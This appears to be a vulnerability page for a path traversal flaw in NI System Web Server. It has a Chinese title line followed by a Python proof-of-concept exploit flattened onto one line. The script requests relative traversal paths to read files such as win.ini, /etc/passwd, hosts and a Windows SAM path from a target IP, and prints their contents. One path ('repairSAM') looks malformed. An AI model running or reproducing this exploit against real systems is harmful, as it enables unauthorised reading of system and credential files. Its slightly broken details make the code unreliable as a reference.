CVE-2025-12097 | NI System Web Server 相对路径遍历漏洞导致信息泄露

import requests # CVE-2025-12097 PoC - Path Traversal in NI System Web Server # Target: NI System Web Server 2012 and prior versions def exploit_ni_webserver(target_ip, target_port=80): """ Exploit for CVE-2025-12097: Relative Path Traversal in NI System Web Server This PoC demonstrates how an attacker can read arbitrary files from the server. """ # Common sensitive files to target files_to_read = [ '../../../../windows/win.ini', '../../../../etc/passwd', '../../../../windows/system32/drivers/etc/hosts', '../../../windows/repairSAM' ] for file_path in files_to_read: try: # Construct the malicious URL url = f'http://{target_ip}:{target_port}/' # Send path traversal payload headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*' } # Try to read file through path traversal response = requests.get(url + file_path, headers=headers, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f'[+] Success! File: {file_path}') print(f'[+] Content preview:') print(response.text[:500]) print('-' * 50) return True except requests.exceptions.RequestException as e: print(f'[-] Error accessing {file_path}: {e}') return False if __name__ == '__main__': # Example usage target = '192.168.1.100' port = 80 print(f'Testing NI System Web Server at {target}:{port}') print('=' * 50) exploit_ni_webserver(target, port)